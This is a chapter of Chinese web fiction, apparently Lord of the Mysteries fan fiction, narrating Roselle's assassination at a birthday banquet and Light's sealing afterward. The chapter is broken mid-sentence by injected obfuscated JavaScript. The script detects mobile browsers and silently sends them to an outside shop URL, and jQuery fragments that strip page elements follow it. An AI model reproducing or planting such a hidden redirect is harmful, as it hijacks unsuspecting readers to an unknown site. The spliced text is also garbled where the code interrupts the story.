罗塞尔大帝已经玩嗨了,莱特站在角落,看着宾客们随着乐曲翩然起舞。
“您为什么不去一起庆祝呢?”
莱特循声转过头,看见辛西娅正一袭礼裙站在他身后,笑意盈盈。
“辛西娅。”莱特打了个招呼。
辛西娅含笑点头,上前同他站在一起:“祝您生日快乐,我为您准备了惊喜礼物,希望您能在生日宴会结束后再拆开。”
“谢谢。”
莱特弯腰执起辛西娅的一只手,礼仪性地轻吻辛西娅的手背,但嘴唇克制地落在他自己的大拇指上。
柔顺的白金长发随着这个动作滑下,一缕发丝擦过辛西娅的指尖。
她若无其事地收回手,笑着同莱特交谈,藏在另一只手掌心的指尖轻轻动了动。
就在几天前,辛西娅在玫瑰学派高层的引荐下,亲眼见到了“神孽”阁下。
“神孽”为她带来了主的旨意:“是时候了,莱特·索伦生日当天,就是执行计划的最好时机。”
……
宴会到后半夜,大部分宴酣的宾客已经被劝说离席,回自己家继续寻欢作乐。没走的宾客们都飘飘然了,豪饮几大瓶秘制葡萄酒的罗塞尔更是醉得要扶住莱特才能站稳。
十一点的钟声敲响,贵族们集体为生日宴准备的惊喜终于上场了。
宴会厅的天棚忽然打开,无数玫瑰花瓣带着馨香洒落,恍若一道浪漫的瀑布河流——
“呜呼!”宾客们兴奋地欢呼,纷纷伸出手去捞那些花瓣。
浓郁的花香中,玫瑰瀑布倾泻而下,纷扬的粉红花瓣在半空中起舞,掠过灯光,迷离了所有人的视线,视野中只剩下这浪漫动人的花瓣河流。
——白光一闪而过。
仿佛喝醉酒的宾客们神情立刻清醒,无数道灵性攻击瞬间发动。
带有神秘学意义的雾气随着遮挡视野的花瓣海洋出现,影响攻击目标的听力、视觉和嗅觉,甚至压制星灵体与灵界之间的联系,让目标的灵性直觉变得迟钝,但“团队成员”不受影响。
紧接着,一声充满冲击力的战吼响起,罗塞尔的动作停滞了一瞬。
趁此机会,一人指定罗塞尔,宣布:“此人不符合正义的标准!”
光芒闪现,早已在此设立的正义准则发动,罗塞尔不符合“正义标准”的力量被瞬间削弱。
这也只拖慢了罗塞尔一瞬间,下一秒,这位正义导师的正义准则就受到了“扭曲”,被自己设立的正义准则违背,他的力量很快不受控制,使他周身发生了自燃。
“跟我拼‘秩序’?”罗塞尔还有余力嘲讽一句。
他一只手捂住手臂,是最先动手的莱特刺下的一剑,反应很快的罗塞尔在刀刃刺中自己之前就重新定义了伤害,使得这一剑没有深入预先瞄准的心脏,只是划过他的手臂,造成了一道无法愈合的伤口,此时伤口处的血肉已经发黑,散发着浓郁的死亡气息。
罗塞尔双眼中的蓝色逐渐被猩红取代,血泪流下他的眼角。
莱特显出身形,手拍在正义导师肩膀上,为其熄灭身上的火焰。
正义导师感激又愧疚地看了一眼莱特。
“离开吧,现在已经不是序列2之下能参与的事情了。”莱特语气冷淡。
有人敬畏道:“祂已经序列0……”
莱特点点头:“或许还差完整的仪式?”
“是的,马上就要成神了。”罗塞尔爽快承认,笑着摊开手,“你也序列2了?”
“几个小时前刚喝的魔药。”莱特平静地回答。
“恭喜恭喜。”
莱特点点头:“谢谢。”
——你们能不能别聊了,打架呢,严肃点!
一位索伦家族的猎人很想大喊一声,但这两人都比他强,他不敢。
莱特与罗塞尔只是对视了一眼,下一瞬,两人身形消失,一道信息洪流与一道璀璨流光以肉眼无法看见的速度快速碰撞在一起。
灵性力量的激烈对抗使白枫宫发生了巨大的爆炸。如果不是在建立之初就做过神秘学意义上的加固,这里已经被夷为平地。
机械之心的成员早就设下了“隐秘”封印物,让这场战斗不被凡人察觉。祂们的双眼紧盯着碰撞中的两道力量,“解析”着战斗双方的本质,为己方提供信息支持。
序列2以下的非凡者全部退离战斗中心,远远观望激烈的非凡战斗。
——这已经算得上神明层次的斗争。
此地的秩序被彻底扭曲,一切陷入了混乱,轻者沉底、重者漂浮,上为下、下为上,镜面无法折射光线。
辉光穿行于镜中,方向被层层封堵。
眼见战局对莱特不利,一位净化者漂浮在半空,高举双手,大喊:“赞美太阳!”
下一瞬,温暖璀璨的光芒笼罩了他,来自太阳的注视使他短暂成为神明降临此地的凭依。
祂缓缓睁开已经染上金黄的双目,面无表情地伸出一只手。
温暖明亮的太阳光辉倾泻而下,凭借太阳的照耀,辉光快速跳出镜子,在光芒中显形。
“净化者”缓缓开口:[尽快,仪式即将完成,红月就要来了……不向祂祈祷吗?]
莱特反手握住“苍白之手”,与罗塞尔的战斗使他一时难以压制住上面的死亡气息,差点被反噬:“不需要。”
“净化者”面无表情地瞥了一眼“苍白之手”,本来跃跃欲试准备造反的“苍白之手”又老实了。
[我无法完全发挥本体的力量。不向祂祈祷的话,你很难赢得战斗。]
……
“看不起谁呢!”屏幕前的玩家大喊,狠狠喝了一口死宅汽油冰阔落。
“不要小瞧我们玩家与游戏的羁绊啊,岂可休!”
而且你光说个“祂”,我哪知道你说的“祂”是谁?总不能是欲望母树吧!?谜题线索什么时候能明显一点啊!
“解不开谜题,我照样可以打败敌军!”
玩家喊着中二语录,手指飞速操作鼠标和键盘,暂停、快进、往操作框放入卡牌中……
“我已经存档了,见势不妙就重开,谁怕谁!”
“玩家永不屈服!!!”
……
6月28日夜晚12点,战斗落下帷幕。
白枫宫沐浴在寂静之中,宾客们早已离席,珠宝化作硝烟、美酒蒸发殆尽,浪漫的玫瑰花海被碾作花泥。
硝烟之处,罗塞尔躺在地上,望着天空。
此时的罗塞尔眼神清明,但一抹猩红仍深藏眼底,他艰难地喘着气,每一次张嘴,一股鲜血就从他嘴角涌出,带着内脏的碎片。
华美的服饰已经看不出原本模样,一把森白的匕首插在他的胸口,黑色血液从伤口沁出。
莱特跪在罗塞尔身边,双手稳稳握在匕首之上,辉光的力量沐浴他全身,顺着匕首输入罗塞尔心脏,净化一切扭曲与混乱。
好冷啊……
罗塞尔看着天空,迷迷糊糊想。
不同于太阳,辉光有时是月光,有时是镜中的明亮,有时又是梦境中的灿烂,总是给人冰冷的感觉。
“看着我……看着我的眼睛……莱特。”罗塞尔忽然挣扎着伸出手,用力扯住莱特的头发,迫使对方低下头注视自己。
对上那双琉璃般的眼睛,他缓缓咧嘴笑了,鲜血浸湿身下的大地:“这下,你……和你的主……该满意了吧?”①
莱特冷淡地看着他,顿了一下:“满意至极。”
他原本还带着一丝金黄的头发已经全白,双眼的色彩在最炽烈的光线下融为带着金调的白色,辉光的幻象在他背后交织,恍惚间能看见羽翼的轮廓。
这是最纯粹的、极致的光芒,无有阴影,亦无有仁慈。
【总要付出一些代价的,要紧的是令我们的沐光明者指引前路,令他照明驱暗,令他无有怜悯之心。】②
看着这幅景象,罗塞尔笑了,他伸长手臂,染着血的指尖挣扎着点了点莱特的眼角。
莱特毫无反应。
——然后这只手无力地落下,带着一道血迹,自莱特眼角缓缓滑落。
“……再见。”
1198年6月29日0点,古斯塔夫一世陨落白枫宫。
……
莱特跪在罗塞尔是遗体边,长发垂落,谁也不知道他在想什么。
就在罗塞尔气息消失的下一秒,一道攻击快速袭向这跪在地上的男人。
实打实跟半个“黑皇帝”打了一架,莱特的状态也很不好,他慢半拍才意识到攻击的降临,侧过头躲避,那道攻击融于辉光之中。
但另一道攻击紧随其后,“战争迷雾”还没有散去,威势巨大的火流星直冲莱特而去。
莱特的身形化作流光,快速在一地破碎的镜面中跳转,但火流星仿佛已经锁定了他,一直追逐着流光。
最先发动攻击的机械之心成员显露出身形,祂伸出手,不断改变在场的物理规律,使光线不再被镜面反射,镜面无法受莱特操纵。
净化者高层代替机械之心成员守住封印物,保持此地的隐秘。
——在刺杀罗塞尔时,永恒烈阳教会出力,蒸汽教会默许旁观,现在一切快速反了过来。
刚刚结束一场真神级别的战斗,莱特状态很不好,他艰难躲避索伦家族成员的攻击。
这个索伦成员的序列远不及莱特,但他手上有“猎人”途径封印物,极擅正面作战,莱特只能不停化作流光躲避他的攻击,或者改变光线折射扭曲对方的视线。
索伦捏紧封印物,大吼一声。
巨大的火流星锁定莱特的身影,呼啸着直冲莱特而去。
流光快速跳转闪现,好不容易才躲过火流星,又被扭曲的物理定律干扰,不得不暂时显出身形。
就在下一瞬,一根闪着赤铁光芒的细针出现在莱特身后,带着雷霆万钧的气势急速刺向他的后心。
莱特躲避不及,差点被刺中,仓促间他挥动袖子,将细针甩开。
——“正义准则”大幅度削弱了这次细针攻击的威力。
必杀被挡住,索伦面色不善地看向一旁的净化者高层,永恒烈阳早就结束了将临,现在这个是净化者本人。
高层严肃地回望:“只能封印。”
索伦很想骂一句“狗屎”,可是永恒烈阳教会得罪不起……
眼见久攻不下,一位机械之心成员忽然快速甩出什么东西。
一道温暖的灿金流光从他掌心射出,追逐着莱特而去。
不远处,净化者高层疑惑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17884022|210178||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
:“‘太阳’的气息?”
蒸汽与机械教会什么时候有这种“太阳”途径“0”级封印物了?
[灯]相眼神都很好,但就连莱特都没看清楚那是什么,下意识化光躲避。
机械之心成员想起罗塞尔将物品交给他前说的话,灵光一闪:
“这是罗塞尔亲手制作的封印物!”
“——为了限制你!”
莱特的身形顿了一下,灿金流光眨眼追上他,环绕在他头上。
那是一顶纯金的太阳冠冕,侧边的葡萄叶栩栩如生。
就在头顶戴上冠冕的一瞬间,莱特的白发开始颜色变深,向金黄转化,带着金调的纯白眼瞳中逐渐显现出儿时那样温暖的浅金色泽,他背后的羽翼虚影消失了。
莱特再也维持不了流光的状态,单膝跪在地上,单手支地,皱着眉适应灵性的忽然紊乱。
心灵世界中,灯盏的火光摇摇欲坠,有什么东西如温暖的潮水,缓慢浸入了他的精神。
莱特虽然喝下了序列2的魔药,但还没有完成相应仪式,在心灵世界中,由于“假晋升”而点亮的第九盏灯仿佛接触不良一般闪烁着,亮度时大时小,随时都要熄灭。
他皱着眉低下头,感觉到有什么温热的液体顺着眼角滑落,滴在他的手背上。
——泪水?为什么?
莱特怔住了。
其他人远远围上来,唯一敢走近的是净化者高层,他蹲下身,好声好气地劝慰:“殿下……我们回去吧。”
莱特抬起头,满脸泪水。
高层被吓了一跳,赶紧不着痕迹地挡住其他人的视线。
——我们家辉光天使的面子不能丢!
他先是收走了“苍白之手”防止反噬,然后抽出手绢,借着擦血迹的动作擦去莱特的泪水。
“……回去吧,殿下。”
莱特怔怔道:“为什么?”
——为什么我会流眼泪,还会感觉很难受?这既不科学,也不神秘学。
但对方显然误解了他的意思,叹了一口气:“很抱歉,殿下。但你同样接触了污染,我们必须这样……”
如果辉光被污染了又会怎么样?他们不能拿整个因蒂斯、甚至整个地球去赌莱特的人性。更何况这一切本在辉光的暗示下完成,同样是永恒烈阳的授意。
莱特睁大眼看着他,这一刻他好像还是几十年前那个孩子,会因为罗塞尔一行人去探险不带上他而自己偷偷生闷气。
他喃喃道:“我知道,这是必要的牺牲……”
这是他默认的事情,因为系统早就提示可以从现在开始以封印状态挂机了,要么就继续过接下来一百多年的故事直到时间对齐,迫不及待进行新故事的玩家当然选了前者。
但是,为什么我会忽然这么难过?他一边默默流泪,一边真情实感地疑惑着,仿佛泪腺和大脑不是共用一套体系。
但高层见他这副样子,替他委屈坏了,赶紧取了件干净白袍给他披上,低声道:“殿下,罗……因蒂斯已经没有统治者了,正是最需要您的时候。如果您实在放不下政务,教会将全力支持您统治因蒂斯。”
莱特顿了顿,他满脑子都沉浸在自己为什么会这么难受这件事上:“……好。”
……
永恒烈阳教会带走他们的“太阳之子”,蒸汽与机械教会默默给罗塞尔收敛遗体。这场刺杀就这么告一段落。
高层惆怅地牵着实力大跌的莱特的手,准备和其他同僚一起回教会。
该死的罗塞尔,把我们天使害惨了,我们的“辉光”明明原计划三年半神五年天使,一成年就回归主的座下随主行走于神国的,结果跟着你出航被污染,跟着你建国忙得没时间晋升,连朋友都没交几个,再也不让我家孩子跟你玩了……啊,好想死。
他想着想着,忽然感到喉咙一阵痒意,忍不住咳嗽几声。
“好大的灰。”他嘀咕几句。
……等等。
高层忽然皱起眉。
我为什么会想死?
他快速反应过来,大力挥手,甩开手里原本被封印住的“苍白之手”。
骨质利刃滚落在地上,果然已经在不知不觉中突破了收容,正散发着浓郁的死亡气息。
远处,一个序列4的猎人途径非凡者已经双目呆滞,将餐刀架在颈间。
高层没时间去管他,赶紧转头去看离自己最近的人:“殿下!”该死,主不能短时间内在他身上将临两次,否则他无法承受主的力量!
莱特用没被牵着的一只手捏着袖角擦了擦眼泪,说话带着鼻音:“我没事。”
“我们快……”高层松了口气,但他话还没说完就轰然倒下。
“……离开。”
……
眨眼间,在场所有非凡者都倒下了,莱特是在场唯一还站着的人。
莱特强行挤出一部分辉光之力,放倒了其中试图自杀的人,让他们陷入沉睡。
做完这一切之后莱特也差不多力竭了,他跪倒在地咳嗽,吐出几口黑色的血液,等他挣扎着抬起头,“苍白之手”已不知何时被人捡起。
来人一身裙装,笑容甜美:“日安,大人。”
莱特淡定地看向她:“日安。”
“辛西娅。”